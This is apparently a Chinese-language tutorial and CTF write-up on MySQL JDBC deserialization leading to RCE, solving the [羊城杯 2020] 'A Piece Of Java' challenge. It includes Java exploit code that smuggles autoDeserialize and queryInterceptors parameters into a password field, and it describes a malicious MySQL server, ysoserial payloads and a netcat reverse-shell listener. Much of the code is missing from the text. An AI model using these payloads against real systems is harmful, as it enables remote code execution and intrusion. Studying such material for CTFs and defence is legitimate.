DatabaseInfo db = new DatabaseInfo();
db.setHost("vps");
db.setPort("3309");
db.setUsername("c1oud");
db.setPassword("zz&autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor");
第二步让DatabaseInfo成为被代理对象
InvocationHandler handler = new InfoInvocationHandler(db);
Info proxy = (Info)Proxy.newProxyInstance(db.getClass().getClassLoader(),db.getClass().getInterfaces(),handler);
最后就是序列化了和记得base64加密:
ByteArrayOutputStream a = new ByteArrayOutputStream();
ObjectOutputStream b = new ObjectOutputStream(a);
b.writeObject(proxy);
b.close();
System.out.println(new String(Base64.getEncoder().encode(a.toByteArray())));
前言
这两个月一直被大大小小的事情环绕,经历了挺多事情的,也停下了很久的学习,这两天也算把自己调整过来了,趁着现在在京东里面还比较闲,继续往后面学。
什么是JDBC
JDBC(Java DataBase Connectivity)
,是Java
与DataBase
之间的桥梁,通俗来说,就是利用Java
连接数据库的一种方法;是Java
语言中用来规范客户端程序如何访问数据库的应用程序接口,提供了诸如查询和更新数据库中数据的方法,能够执行SQL
语言;各种关系型数据库都有相应的方法来实现,这里我们也只是针对mysql
`数据库的学习JDBC环境配置
创建JDBC应用程序
Java链接数据库,需要几个步骤
利用
Class.forName()
方法来加载JDBC
驱动程序(driver)
,也就相当于初始化了DriverManager
中的getConnection
方法,通过JDBC url
,用户名,密码来连接相应的数据库.JDBC url
的格式是:加入要连接本地的
zzz
数据库就是:serverTimezone=UTC
参数是为了改变时区像这样用
使用一个类型为
Statement
或PreparedStatement
的对象,然后提交一个sql
语句进数据库执行查询ResultSet resultSet
是结果集。查询出的记录是一个列表,初始时指针指向的是第一条记录之前的。每result.next()
一次指针都会向后移动一位,指向下一条记录使用
ResultSet.getXxx()
方法来检索数据,也就是说查询的是String
就写resultSet.getString
,是INT
就行resultSet.getInt
:在使用
JDBC
与数据交互操作数据库中的数据之后,要明确关闭所有的数据库资源以减少资源的浪费然后就可以写出demo了:
JDBC连接远程数据库
首先要在
vps
上开放3306
端口,接着由于Mysql的安全配置,还很可能会拒绝我们的连接请求,所以查看3306端口监听情况:或者这样
都是一个意思,只不过上面的是
ipv6
的表达方式,双冒号表示全为0,也就是所有地址。不过如果是127.0.0.1:3306
的话就要去mysql
目录下改东西,具体可以在网上搜。还要注意如果
vps
上搭了宝塔,则还要在宝塔里把mysql
权限改成所有人。如果没有使用宝塔却报"主机无法链接"
的可以参考下:https://www.cnblogs.com/chorm590/p/9968475.html接着就用之前的代码就可以了,只不过要把
ip
和数据库等修改一下。JDBC反序列化
原理
原理是通过
JDBC
建立到MySQL
服务端的连接时,有几个内置的SQL
查询语句被发出,其中两个查询的结果集在客户端被处理时会调用ObjectInputStream.readObject()
进行反序列化。简单点说也就是
JDBC
会传出几个查询语句,然后有两个序列化后的结果会被传入到客户端进行反序列化,这也就是漏洞的来源。这两个查询语句是:
所以如果存在
JDBC url
可控,我们就可以让它连接任意Mysql
服务器了,那么连接一个恶意的Mysql
服务器的话,通过返回的恶意序列化语句到客户端进行反序列化攻击就可以RCE
了。原理分析
(注意:序列化后的对象前两个字节分别是-84和-19 .这个是java对象的一个标识。)
前面说到客户端会调用到
ObjectInputStream.readObject()
,那么先找到哪里用到了。看到了JDBC包中的com.mysql.cj.jdbc.result.ResultSetImpl#getObject()
,主要看其中重要的逻辑代码,对源代码进行了部分删减:看到里面通过
obj = objIn.readObject();
进行了反序列化,接着找调用getObject()
的地方,又找到com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor#populateMapWithSessionStatusValues
方法:先介绍一下
ServerStatusDiffInterceptor
这个类:ServerStatusDiffInterceptor
是一个拦截器,官方文档中说了在JDBC URL
中设定属性queryInterceptors
为ServerStatusDiffInterceptor
时,执行查询语句后会调用拦截器的preProcess
和postProcess
方法,进而进入到populateMapWithSessionStatusValues()
方法。在
JDBC
连接数据库的过程中,会调用SHOW SESSION STATUS
去查询,然后对结果进行处理的时候会调用resultSetToMap()
方法,继续跟进一下resultSetToMap()方法
看到在这里调用了
getObject()
方法,在这里整条利用链已经出来了,现在再注意一下有没有什么需要满足的条件来让整条链子通起来。构造条件
回到
getObject()
方法里面反序列化点
(readObject())
在com.mysql.cj.jdbc.result.ResultSetImpl
的public Object getObject(int columnIndex)
的switch
条件语句中存在两处,一处是case BIT
,另一处是case BLOB
但是
getObject()
的参数是int
,它是怎么反序列化的?先看看getObject()
方法的作用:那么
BIT和BLOB
又是什么呢?BIT
和BLOB
都是MySQL
里的一种数据格式,和其他case样例一样,也都是一些数据类型,判断后处理的作用也正是转化成java中的类型BLOB:
BIT:
知道了
getObject()
的作用接着来看代码逻辑代码中是通过
field.getMysqlType()
来判断不同的类型,field
来自this.columnDefinition.getFields()[columnIndexMinusOne];
,差不多意思就是获取某一列的定义如果为BIT或者BLOB:
判断
field
是否为Binary
或Blob
后再用getBytes()
获取其值,接着判断PropertyKey.autoDeserialize
的值是否为真,为真则进入else
分支最后
data
满足第一位为-84
第二位为-19
就可以执行data
的反序列化综上所述,要实现反序列化我们需要满足的条件有
autoDeserialize
要设置为真,这个值也可以通过配置属性来实现queryInterceptors
属性要为ServerStatusDiffInterceptor
MySQL
的类型为BLOB
或者BIT
(这个可以在恶意mysql脚本中实现)走一遍流程就是当我们在
JDBC url
中设置属性queryInterceptors
为ServerStatusDiffInterceptor
时,在执行SQL
的查询语句的时候,会调用拦截器的postProcess
方法,然后调用populateMapWithSessionStatusValues
方法,然后调用resultSetToMap
方法,然后调用getObject
方法,在getObject
中,只要autoDeserialize
为True
,就可以进入到最后readObject中
,最终实现反序列化具体实现
POC数据包的详细分析,请参考:https://xz.aliyun.com/t/8159#toc-0
也就是这个
简单看一下这个
poc
,他需要自己把序列化后的payload
放在一个文件里面,poc
里面有打开的文件的命令。先用
ysoserial
生成cc7
的payload
,然后把生成的payload
文件放在服务器上面再把上面这个
poc
传到自己的vps
,然后起个服务然后就是客户端代码
这里要注意一下,因为序列化的时候用的是
cc7
的链子,所以客户端也应该有cc
的依赖才可以反序列化成功。所以客户端还要导入cc
的依赖运行就可以弹出计算器了
题目复现 — [羊城杯 2020]A Piece Of Java
buu上就可以复现
给了
jar
包,先用解压
jar
文件,解压后有三个文件夹:BOOT-INF
,META-INF
,org
。首先要明白SpringBoot的jar包解压后这些文件的含义.class
文件jar
包 的方式存放(Maven坐标、pom文件)
和MANIFEST.MF
文件。SpringBoot
项目后的相关启动类也就是说我们要关注的也就是
BOOT-INF/classes
目录里面的内容把解压后的
BOOT-INF/classes
放入IDEA
中,也可以直接把题目给的JAR
包扔到JD-GUI
中看BOOT-INF/classes
目录,都是一样的。看到
gdufs.challenge.web.controller.MainController
类里面,主要看两个路由,index
和hello
,在/hello
路由中,明显有个deserialize
方法,也就是反序列化的意思简单看一下代码逻辑,在
index
路由里面new
了一个userinfo
类,然后里面设置了username
和password
,接着把这个类作为cookie
的data
字段序列化后进行base64编码了(base64的逻辑在他的serialize里可以看到),在spring
框架中redirect是
重定向的意思,也就是进入了hello
路由,在hello
路由对设置cookie
键名为data
进行了反序列化接着来看一下他反序列化
deserialize
的具体逻辑和正常反序列化只有这个有点不同
这个
SerialKiller
就很像一种过滤,在IDEA不能直观的看这个类,那就看一下他后面那个文件那应该就是白名单的过滤了,只允许反序列化
gdufs
和java.lang
下的类。并且可以在lib
文件里面看到是导入了cc
依赖的,如果不是做了过滤都可以直接打了不过在
JD-GUI
中可以看到SerialKiller
类的具体作用,也可以看到是在这里面导入了cc
依赖那只能找一下
gdufs
和java.lang
下可控的序列化条件了,接着往下看有个invocationHandler
类,继承了InvocationHandle
r和Serializable
,很明显是个动态代理类,并且可以序列化他。接着往下看到
DatabaseInfo
类明显这里也有
checkAllInfo
和getAllInfo
两个类,再跟进一下checkAllInfo
类里面的connect
方法password
参数可控,也没有做什么过滤,那就可以拼接autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
这个参数并且连接恶意的mysql
服务器利用JDBC
反序列化来RCE
了那我们可以把
DatabaseInfo
类设为被代理类,由于动态代理,调用被代理类的任意方法都会调用代理类的invoke
方法,从而进入到checkAllInfo
,再进入到connect()
方法中,不过应该调用DatabaseInfo
的哪个方法呢?再回过头来看
/hello
路由里面这里调用了
info.getAllInfo()
,所以只需要让info
为被代理的DatabaseInfo
即可利用链
构造exp
梳理完过后就是写
exp
了,因为要用到题目里gdufs
目录下的的一些类和自定义函数,所以还是要先用JD-GUI
把class
文件反编译出来然后由于我不知道其他方法嘛,就在
IDEA
上新建了一个MAVEN
项目,然后把gdufs
目录放到这个项目下面然后在
META-INF/maven/gdufs.challenge/web/
目录下面找到pom.xml
文件,把里面的依赖cv
到使用项目的pom.xml
下。最后在
gdufs
目录下面随便创一个exp
的java
文件就可以编写exp
了:先看一下
DatabaseInfo
类的变量属性好家伙都是
private
的,但是赋值的方法都是public
,所以也没必要用反射进行赋值,因为在java
中是可以通过公有方法对私有变量赋值或者调用的,忘了的话看看这个:java之公有方法访问私有变量
第一步先
new
一个DatabaseInfo
对象并用里面的方法赋值第二步让
DatabaseInfo
成为被代理对象最后就是序列化了和记得
base64
加密:因为
Base64
加密需要的对象是字节数组,所以要转换一下,序列化后的数据在缓冲区里面,所以用toByteArray()
能将缓冲区的数据全部获取出来,返回字节数组,如果是字符串的话才用getBytes
转换。encode
返回的也是字节数组,所以最后要转成字符串,java
可以直接用String来
转。也可以用Base64.getEncoder().encode()
用到的依赖是java
本来就有的,而Base64.encode()
用到的需要载入外部依赖,题目中不一定有,所以才用前者最终exp:
生成代码
接着就是之前讲的用
ysoserial
生成payload
文件,因为是cc3.2.1
的依赖,用cc6
一般都可以通杀,cc5
也可以打,不过如果依赖是cc4.0
的话会考虑用cc2
去打。可能大家对于这一串命令很迷茫,在
java
的Runtime.getRuntime().exec()
中它执行命令不是使用bash
来执行,而是启动这个命令本身,也就是说会把他当作一个程序来执行,这样肯定是不行的,所以要加上一个bash -c
,并且Runtime.getRuntime().exec()
有另外一个特性,它会用空格将命令分割成一个数组,并将数组的第一个字符串作为可执行文件路径,后面的字符串作为参数,所以直接构造反弹shell的语句也是不行的,还需要绕过空格强烈建议看看:ysoserial生成反弹shell命令
中括号的形式在
bash
中也是可以执行的,是绕过空格的一种方式,总体比较好理解bash
是执行文件-c
是第一个参数,后面是第二个参数,由于没有空格了说明后面的全部执行的是bash
命令,在看后面,先echo
一个字符串,然后把它base64
解码,接着bash -i
执行这个字符串,base64
编码的内容也就是然后把
payload文件
传到服务器,接着运行恶意mysql
服务:python3 evil.py
,同时进行监听:nc -lvvp 7777
,最后抓包改路由将之前exp生成的数据作为cookie的data数据传进去成功反弹shell
参考链接
http://blog.o3ev.cn/yy/1247
http://arsenetang.com/2022/03/19/Java篇之jdbc反序列化/
https://www.mi1k7ea.com/2021/04/23/MySQL-JDBC%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/
https://xz.aliyun.com/t/8159
https://c014.cn/blog/java/JDBC/MySQL%20JDBC%20%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90.html
https://blog.csdn.net/fmyyy1/article/details/122706761
https://guokeya.github.io/post/t746TU6pM/
https://www.archive.link/dig/detail/1651306446497690